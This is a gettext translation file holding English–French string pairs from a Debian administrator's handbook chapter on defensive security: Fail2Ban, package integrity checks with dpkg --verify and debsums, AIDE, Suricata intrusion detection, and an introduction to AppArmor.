msgid "Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works..."
msgstr ""
msgid ""
"[...]\n"
"[DEFAULT]\n"
"[...]\n"
"bantime = 10m\n"
"[...]\n"
"maxretry = 5\n"
"[...]\n"
"[sshd]\n"
"port = ssh\n"
"logpath = %(sshd_log)s\n"
"backend = %(sshd_backend)s"
msgstr ""
msgid "Fail2Ban will check for failed login attepts for <command>sshd</command> using Python regular expressions defined in <filename>/etc/fail2ban/filters.d/sshd.conf</filename> against the log file of <command>sshd</command>, which is defined in the variable <literal>sshd_log</literal> in the file <filename>/etc/fail2ban/paths_common.conf</filename>. If Fail2Ban detects five failed login attempts in a row, it will ban the IP address where those attempts originated."
msgstr ""
msgid "Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet."
msgstr ""
msgid "A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt."
msgstr ""
msgid "Detecting Changes"
msgstr "DĂ©tection des changements"
#, fuzzy
#| msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgid "Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)."
msgstr "Une fois le système installé et configuré, l'état de la majorité des fichiers et répertoires (hors données) n'a pas de raison d'évoluer (sauf mises à jour de sécurité). Il est donc intéressant de s'assurer que c'est bien le cas : tout changement inattendu est alors suspect. Les outils présentés dans cette section permettent de surveiller tous les fichiers et de prévenir les administrateurs en cas d'altération inattendue, ou alors simplement de diagnostiquer l'étendue des altérations."
msgid "Auditing Packages with <command>dpkg --verify</command>"
msgstr "Audit des paquets avec <command>dpkg --verify</command>"
msgid "<primary><command>dpkg</command></primary><secondary><command>dpkg --verify</command></secondary>"
msgstr "<primary><command>dpkg</command></primary><secondary><command>dpkg --verify</command></secondary>"
msgid "<emphasis>GOING FURTHER</emphasis> Protecting against upstream changes"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Se protéger des modifications en amont"
#, fuzzy
#| msgid "<command>dpkg --verify</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgid "<command>dpkg --verify</command> is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see <xref linkend=\"sect.package-authentication\" />), and taking care to only install packages from a certified origin."
msgstr "<command>dpkg --verify</command> peut être utilisé pour détecter les changements effectués sur les fichiers provenant d'un paquet Debian. Mais si le paquet Debian lui-même est compromis, il ne sera d'aucune utilité. Cela pourrait être le cas si le miroir Debian employé est lui-même compromis. Pour se protéger de ces attaques, il faut s'appuyer sur le mécanisme de vérification de signatures numériques intégré à APT (voir <xref linkend=\"sect.package-authentication\" />) et prendre soin de n'installer que des paquets dont l'origine a pu être certifiée."
msgid "<command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files."
msgstr "<command>dpkg --verify</command> (ou <command>dpkg -V</command>) est un outil intéressant qui permet de trouver quels fichiers installés ont été modifiés (potentiellement par un attaquant), mais cette information est à prendre avec précaution. Pour faire son travail, dpkg utilise les sommes de contrôle stockée dans sa propre base de données, qui est elle-même stockée sur le disque dur (dans le fichier <filename>/var/lib/dpkg/info/<replaceable>paquet</replaceable>.md5sums</filename>) ; un attaquant minutieux pourra donc mettre à jour ces fichiers pour qu'ils correspondent aux nouvelles sommes de contrôle des fichiers corrompus."
msgid "<emphasis>BACK TO BASICS</emphasis> File fingerprint"
msgstr "<emphasis>B.A.-BA</emphasis> Empreinte d'un fichier"
msgid "<primary>fingerprint</primary>"
msgstr "<primary>empreinte</primary>"
msgid "<primary>control sum</primary>"
msgstr "<primary>somme de contrĂ´le</primary>"
msgid "<primary>MD5</primary>"
msgstr "<primary>MD5</primary>"
msgid "<primary>SHA1</primary>"
msgstr "<primary>SHA1</primary>"
msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task."
msgstr "Rappelons qu'une empreinte est une valeur, généralement numérique (même si elle est codée en hexadécimal), constituant une sorte de signature caractéristique du contenu d'un fichier. Elle est calculée au moyen d'algorithmes (les plus connus étant MD5 et SHA1) qui garantissent dans la pratique que (presque) toute modification du fichier, aussi minime soit-elle, entraînera un changement de l'empreinte ; c'est l'« effet d'avalanche ». C'est pourquoi une empreinte numérique sert à vérifier que le contenu d'un fichier n'a pas été altéré. Ces algorithmes ne sont pas réversibles, c'est-à -dire que pour la plupart d'entre eux, il est impossible de retrouver un contenu inconnu à partir de la seule empreinte. De récentes découvertes scientifiques tendent à infirmer l'inviolabilité de ces principes, mais cela ne remet pas encore en cause leur usage puisque la création de contenus différents générant la même empreinte semble être très contraignante."
msgid "Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)."
msgstr "La commande <command>dpkg -V</command> vérifie tous les paquets installés, et affiche une ligne pour chaque fichier qui échoue au test d'intégrité. Le format de sortie est le même que celui de <command>rpm -V</command>, où chaque caractère correspond à un test sur une métadonnée spécifique. Malheureusement, <command>dpkg</command> ne stocke pas toutes les métadonnées requises pour tous les tests, et n'affichera donc que des points d'interrogation pour la plupart. À l'heure actuelle, seul le test de somme de contrôle peut afficher un « 5 » (en troisième colonne) en cas d'échec."
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>dpkg -V</userinput>\n"
"<computeroutput>??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster</computeroutput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>dpkg -V</userinput>\n"
"<computeroutput>??5?????? /lib/systemd/system/ssh.service\n"
"??5?????? c /etc/libvirt/qemu/networks/default.xml\n"
"??5?????? c /etc/lvm/lvm.conf\n"
"??5?????? c /etc/salt/roster</computeroutput>"
msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate <filename>/etc/systemd/system/ssh.service</filename> override (which would be stored below <filename>/etc</filename> like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified."
msgstr "Dans l'exemple ci-dessus, dpkg signale un changement dans le fichier de service de SSH que l'administrateur a effectué dans le fichier du paquet au lieu de modifier la configuration avec un fichier <filename>/etc/systemd/system/ssh.service</filename> (stocké dans <filename>/etc</filename> comme tout fichier de configuration qui se respecte). dpkg liste également plusieurs fichiers de configuration (identifiés par la lettre « c » du deuxième champ) qui ont été (légitimement) modifiés."
msgid "Auditing Packages: <command>debsums</command> and its Limits"
msgstr "Audit des paquets : l'outil <command>debsums</command> et ses limites"
msgid "<primary><command>debsums</command></primary>"
msgstr "<primary><command>debsums</command></primary>"
msgid "<command>debsums</command> is the ancestor of <command>dpkg -V</command> and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds)."
msgstr "<command>debsums</command> est l'ancêtre de <command>dpkg -V</command>, et ce dernier l'a rendu quasiment obsolète. Il souffre des mêmes restrictions que dpkg. Heureusement, il est possible de passer outre une partie de ces restrictions (ce que ne permet pas dpkg)."
msgid "Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis."
msgstr "Comme il n'est pas possible de faire confiance aux fichiers stockés sur le disque, <command>debsums</command> permet d'effectuer ses vérifications à partir de fichiers <filename>.deb</filename> plutôt qu'à partir de la base de données de dpkg. Pour télécharger les fichiers <filename>.deb</filename> de confiance de tous les paquets installés, on peut utiliser les téléchargements authentifiés d'APT. Mais cette opération peut être longue et pénible, et n'est donc pas à envisager dans le cadre d'une technique proactive à utiliser de manière routinière."
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>"
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`</userinput>\n"
"<computeroutput>[ ... ]\n"
"# </computeroutput><userinput>debsums -p /var/cache/apt/archives --generate=all</userinput>"
msgid "Note that this example uses the <command>grep-status</command> command from the <emphasis role=\"pkg\">dctrl-tools</emphasis> package, which is not installed by default."
msgstr "Attention, cet exemple a employé la commande <command>grep-status</command> du paquet <emphasis role=\"pkg\">dctrl-tools</emphasis>, qui n'est pas installé en standard."
msgid "<command>debsums</command> can be run frequently as a cronjob setting <literal>CRON_CHECK</literal> in <filename>/etc/default/debsums</filename>. To ignore certain files outside the <filename>/etc</filename> directory, which have been altered on purpuse or which are expected to change (like <filename>/usr/share/misc/pci.ids</filename>) you can add them to <filename>/etc/debsums-ignore</filename>."
msgstr ""
msgid "Monitoring Files: AIDE"
msgstr "Surveillance des fichiers : AIDE"
msgid "<primary><emphasis role=\"pkg\">aide</emphasis> (Debian package)</primary>"
msgstr "<primary><emphasis role=\"pkg\">aide</emphasis> (paquet Debian)</primary>"
msgid "The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email."
msgstr "AIDE <foreignphrase>(Advanced Intrusion Detection Environment)</foreignphrase> est un outil qui sert à vérifier l'intégrité des fichiers et à détecter toute altération par rapport à une image du système préalablement enregistrée et validée. Cette dernière prend la forme d'une base de données (<filename>/var/lib/aide/aide.db</filename>) contenant les caractéristiques de tous les fichiers du système (permissions, horodatages, empreintes numériques, etc.). Cette base de données est initialisée une première fois par <command>aideinit</command> ; elle est ensuite employée pour vérifier quotidiennement (script <filename>/etc/cron.daily/aide</filename>) que rien n'a changé. Si des changements sont détectés, le logiciel les enregistre dans des fichiers de journalisation (<filename>/var/log/aide/*.log</filename>) et envoie un courrier à l'administrateur avec ses découvertes."
msgid "<emphasis>IN PRACTICE</emphasis> Protecting the database"
msgstr "<emphasis>EN PRATIQUE</emphasis> Protection de la base de données"
msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media."
msgstr "Puisque AIDE utilise une base de données pour comparer l'état des fichiers, il faut être conscient que la validité des résultats fournis dépend de la validité de la base de données. Sur un système compromis, un attaquant obtenant les droits <literal>root</literal> pourra remplacer la base de données et passer inaperçu. C'est pourquoi, pour plus de sécurité, il peut être intéressant de stocker la base de données de référence sur un support accessible en lecture seulement."
msgid "Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role=\"pkg\">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended."
msgstr "Le comportement du paquet <emphasis role=\"pkg\">aide</emphasis> se paramètre grâce à de nombreuses options dans <filename>/etc/default/aide</filename>. La configuration du logiciel proprement dit se trouve dans <filename>/etc/aide/aide.conf</filename> et <filename>/etc/aide/aide.conf.d/</filename> (en réalité, ces fichiers servent de base à <command>update-aide.conf</command> pour créer <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configuration indique quelles propriétés de chaque fichier il faut vérifier. Ainsi, le contenu des fichiers de logs peut varier tant que les permissions associées ne varient pas, mais le contenu et les permissions d'un exécutable doivent être fixes. La syntaxe n'est pas très compliquée, mais elle n'est pas forcément intuitive pour autant. La lecture de la page de manuel <citerefentry><refentrytitle>aide.conf</refentrytitle><manvolnum>5</manvolnum></citerefentry> est donc bénéfique."
msgid "A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database."
msgstr "Une nouvelle version de la base de données est générée chaque jour dans <filename>/var/lib/aide/aide.db.new</filename> et peut être utilisée pour remplacer la base officielle si tous les changements constatés étaient légitimes."
msgid "<emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain"
msgstr "<emphasis>ALTERNATIVE</emphasis> Tripwire et Samhain"
msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role=\"pkg\">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database."
msgstr "Tripwire est très similaire à AIDE ; la syntaxe de son fichier de configuration est quasiment identique. Le paquet <emphasis role=\"pkg\">tripwire</emphasis> propose en outre un mécanisme de signature du fichier de configuration afin qu'un attaquant ne puisse pas le changer pour le faire pointer vers une version différente de la base de données."
msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend=\"sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages\" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature)."
msgstr "Samhain offre des fonctionnalités similaires ainsi qu'un certain nombre de fonctions pour détecter la présence de <foreignphrase>rootkits</foreignphrase> (voir <xref linkend=\"sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages\" />). En outre, il peut être employé sur tout un réseau et enregistrer ses traces sur un serveur central après les avoir signées."
msgid "<emphasis>QUICK LOOK</emphasis> The <emphasis role=\"pkg\">checksecurity</emphasis> and <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis> packages"
msgstr "<emphasis>DÉCOUVERTE</emphasis> Les paquets <emphasis role=\"pkg\">checksecurity</emphasis> et <emphasis role=\"pkg\">chkrootkit</emphasis>/<emphasis role=\"pkg\">rkhunter</emphasis>"
msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure."
msgstr "Le premier paquet contient plusieurs petits scripts qui effectuent des vérifications de base sur le système (mot de passe vide, détection de nouveaux fichiers setuid, etc.) et alertent l'administrateur si nécessaire. Malgré son nom explicite, il ne faut pas se fier seulement à ce paquet pour vérifier la sécurité d'un système Linux."
msgid "The <emphasis role=\"pkg\">chkrootkit</emphasis> and <emphasis role=\"pkg\">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems."
msgstr "Les paquets <emphasis role=\"pkg\">chkrootkit</emphasis> et <emphasis role=\"pkg\">rkhunter</emphasis> recherchent de potentiels <foreignphrase>rootkits</foreignphrase> installés sur le système. Rappelons qu'il s'agit de logiciels destinés à dissimuler la compromission d'un système et à conserver un contrôle discret sur la machine. Les tests ne sont pas fiables à 100 %, mais ils permettent tout de même d'attirer l'attention de l'administrateur sur des problèmes potentiels."
msgid "<emphasis role=\"pkg\">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications."
msgstr ""
msgid "Detecting Intrusion (IDS/NIDS)"
msgstr "DĂ©tection d'intrusion (IDS/NIDS)"
msgid "<primary>detection, intrusion</primary>"
msgstr "<primary>intrusion, détection de</primary>"
msgid "<primary>intrusion detection</primary>"
msgstr "<primary>détection d'intrusion</primary>"
msgid "<primary>IDS</primary>"
msgstr "<primary>IDS</primary>"
msgid "<primary>intrusion detection system</primary>"
msgstr "<primary><foreignphrase>Intrusion Detection System</foreignphrase></primary>"
msgid "<primary>NIDS</primary>"
msgstr "<primary>NIDS</primary>"
msgid "<primary>Network</primary><secondary>IDS</secondary>"
msgstr "<primary><foreignphrase>Network</foreignphrase></primary><secondary><foreignphrase>IDS</foreignphrase></secondary>"
msgid "<emphasis>BACK TO BASICS</emphasis> Denial of service"
msgstr "<emphasis>B.A.-BA</emphasis> DĂ©nis de service"
msgid "<primary>denial of service</primary>"
msgstr "<primary>dénis de service</primary>"
msgid "A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site)."
msgstr "Une attaque de type « déni de service » a pour seul objectif de rendre un service réseau inexploitable. Que cela soit en surchargeant le serveur de requêtes ou en exploitant un bogue de celui-ci, le résultat est toujours le même : le service en question n'est plus fonctionnel, les utilisateurs habituels sont mécontents et l'hébergeur du service réseau visé s'est fait une mauvaise publicité (en plus d'avoir éventuellement perdu des ventes, s'il s'agit par exemple d'un site de commerce en ligne)."
msgid "Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not)."
msgstr "Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de <foreignphrase>(distributed) denial of service</foreignphrase> (abrégé en <acronym>DoS</acronym> ou <acronym>DDoS</acronym>)."
#, fuzzy
#| msgid "<command>suricata</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in <filename>/var/log/suricata</filename>. There are third party tools (Kibana/logstash) to better browse all the data collected. <ulink type=\"block\" url=\"http://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgid "<command>suricata</command> (in the Debian package of the same name) is a NIDS — a <emphasis>Network Intrusion Detection System</emphasis>. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in <filename>/var/log/suricata</filename>. There are third party tools (Kibana/logstash) to better browse all the data collected. <ulink type=\"block\" url=\"https://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgstr "<command>suricata</command> (du paquet Debian éponyme) est un outil de détection d'intrusions (NIDS — <foreignphrase>Network Intrusion Detection System</foreignphrase>) : il écoute en permanence le réseau pour repérer les tentatives d'infiltration et/ou les actes malveillants (notamment les dénis de service). Tous ces événements sont enregistrés dans des fichiers stockés dans <filename>/var/log/suricata</filename>. Des outils tiers (Kibana/Logstash) permettent de naviguer de manière pratique dans les données collectées. <ulink type=\"block\" url=\"http://suricata-ids.org\" /> <ulink type=\"block\" url=\"https://www.elastic.co/products/kibana\" />"
msgid "<primary><command>snort</command></primary>"
msgstr "<primary><command>snort</command></primary>"
msgid "<primary><command>suricata</command></primary>"
msgstr "<primary><command>suricata</command></primary>"
msgid "<emphasis>CAUTION</emphasis> Range of action"
msgstr "<emphasis>ATTENTION</emphasis> Rayon d'action"
msgid "The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic."
msgstr "<command>suricata</command> est limité par le trafic qu'il voit transiter sur son interface réseau : il ne pourra évidemment rien détecter s'il n'observe rien. Branché sur un commutateur <foreignphrase>(switch)</foreignphrase>, il ne surveillera que les attaques ciblant la machine l'hébergeant, ce qui n'a qu'un intérêt assez limité. Pensez donc à relier la machine employant <command>suricata</command> au port « miroir », qui permet habituellement de chaîner les commutateurs et sur lequel tout le trafic est dupliqué."
msgid "Configuring suricata involves reviewing and editing <filename>/etc/suricata/suricata-debian.yaml</filename>, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (<literal>HOME_NET</literal> parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation."
msgstr "La configuration de Suricata se fait par le biais du fichier <filename>/etc/suricata/suricata-debian.yaml</filename>, qui est très long puisque chaque paramètre y est abondamment décrit. A minima, il faudra configurer la plage d'adresses couverte par le réseau local (le paramètre <literal>HOME_NET</literal>). En pratique, il s'agit de l'ensemble de toutes les cibles d'attaques potentielles. Mais pour tirer le meilleur parti de l'outil, il faudra lire ce fichier dans son intégralité et l'adapter au mieux à la situation locale."
msgid "On top of this, you should also edit <filename>/etc/default/suricata</filename> to define the network interface to monitor and to enable the init script (by setting <literal>RUN=yes</literal>). You might also want to set <literal>LISTENMODE=pcap</literal> because the default <literal>LISTENMODE=nfqueue</literal> requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the <literal>NFQUEUE</literal> target)."
msgstr "Il faudra également modifier <filename>/etc/default/suricata</filename> pour y déclarer l'interface réseau à superviser, et y activer le script d'initialisation (en réglant <literal>RUN=yes</literal>). On pourra aussi régler <literal>LISTENMODE=pcap</literal>, parce que la valeur par défaut (<literal>nfqueue</literal>) ne fonctionne pas sans une configuration supplémentaire (le pare-feu netfilter doit être configuré pour passer les paquets à une file d'attente en espace utilisateur gérée par Suricata, via la cible <literal>NFQUEUE</literal>)."
#, fuzzy
#| msgid "To detect bad behaviour, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role=\"pkg\">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it. Unfortunately that package is missing from <emphasis role=\"distribution\">Debian Jessie</emphasis> and should be retrieved from another Debian release like <emphasis role=\"distribution\">Testing</emphasis> or <emphasis role=\"distribution\">Unstable</emphasis>."
msgid "To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role=\"pkg\">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it."
msgstr "<command>suricata</command> détecte les comportements anormaux sur la foi d'un ensemble de règles de supervision. Un ensemble de ces règles est disponible dans le paquet <emphasis role=\"pkg\">snort-rules-default</emphasis>. <command>snort</command> est la référence de l'écosystème IDS, et <command>suricata</command> peut réutiliser les règles écrites pour <command>snort</command>. Malheureusement, ce paquet n'est pas disponible dans Debian <emphasis role=\"distribution\">Jessie</emphasis>, et il faudra se le procurer depuis une autre version de Debian, comme <emphasis role=\"distribution\">Testing</emphasis> ou <emphasis role=\"distribution\">Unstable</emphasis>."
msgid "Alternatively, <command>oinkmaster</command> (in the package of the same name) can be used to download Snort rulesets from external sources."
msgstr "Une autre possibilité est d'utiliser <command>oinkmaster</command> (dans le paquet du même nom), qui est capable de télécharger des ensembles de règles Snort depuis des sources externes."
msgid "<emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Intégration avec <command>prelude</command>"
msgid "Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role=\"pkg\">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types."
msgstr "Prelude offre une supervision centralisée des informations de sécurité. Pour cela, il dispose d'une architecture modulaire : un serveur (le <foreignphrase>manager</foreignphrase> du paquet <emphasis>prelude-manager</emphasis>) centralise les alertes détectées par des capteurs <foreignphrase>(sensors)</foreignphrase> de plusieurs types."
msgid "Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend=\"sect.logcheck\" />)."
msgstr "Suricata peut être configuré comme un de ces capteurs. Il existe aussi <emphasis>prelude-lml</emphasis> (<foreignphrase>Log Monitor Lackey</foreignphrase>, ou laquais de surveillance de journaux système) qui surveille quant à lui les fichiers de <emphasis>logs</emphasis>, à l'instar de <command>logcheck</command> (voir <xref linkend=\"sect.logcheck\" />), déjà étudié."
msgid "<primary><command>prelude</command></primary>"
msgstr "<primary><command>prelude</command></primary>"
msgid "Introduction to AppArmor"
msgstr "Introduction Ă AppArmor"
msgid "<primary>AppArmor</primary>"
msgstr "<primary>AppArmor</primary>"
msgid "Principles"
msgstr "Les principes"
msgid "AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources."
msgstr "AppArmor est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge AppArmor avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée. Ce mécanisme permet à AppArmor de confiner des programmes à un ensemble restreint de ressources."
msgid "<primary><emphasis>Mandatory Access Control</emphasis></primary>"
msgstr "<primary><emphasis>Mandatory Access Control</emphasis></primary>"
msgid "<primary><emphasis>Linux Security Modules</emphasis></primary>"
msgstr "<primary><emphasis>Linux Security Modules</emphasis></primary>"
#, fuzzy
#| msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend=\"sect.selinux\" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behaviour!)."
msgid "AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend=\"sect.selinux\" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!)."
msgstr "AppArmor applique un ensemble de règles (un « profil ») à chaque programme. Le profil appliqué par le noyau dépend du chemin d'installation du programme à exécuter. Contrairement à SELinux (décrit dans <xref linkend=\"sect.selinux\" />), les règles appliquées ne dépendent pas de l'utilisateur : tous les utilisateurs sont concernés par le même jeu de règles lorsqu'ils exécutent le même programme (mais les permissions habituelles des utilisateurs jouent toujours, ce qui peut donner un comportement différent)."
msgid "AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied."
msgstr "Les profils AppArmor sont stockés dans <filename>/etc/apparmor.d/</filename> ; ils consistent en une liste de règles de contrôle d'accès sur les ressources que peut utiliser chaque programme. Les profils sont compilés et chargés dans le noyau par le biais de la commande <command>apparmor_parser</command>. Chaque profil peut être chargé soit en mode strict <foreignphrase>(enforcing)</foreignphrase> soit en mode relâché <foreignphrase>(complaining)</foreignphrase>. Le mode strict applique les règles et rapporte les tentatives de violation, alors que le mode relâché se contente d'enregistrer dans les journaux système les appels système qui auraient été bloqués, sans les bloquer réellement."
msgid "Enabling AppArmor and managing AppArmor profiles"
msgstr "Activer AppArmor et gérer les profils"
#, fuzzy
#| msgid "AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing a few packages and adding some parameters to the kernel command line:"
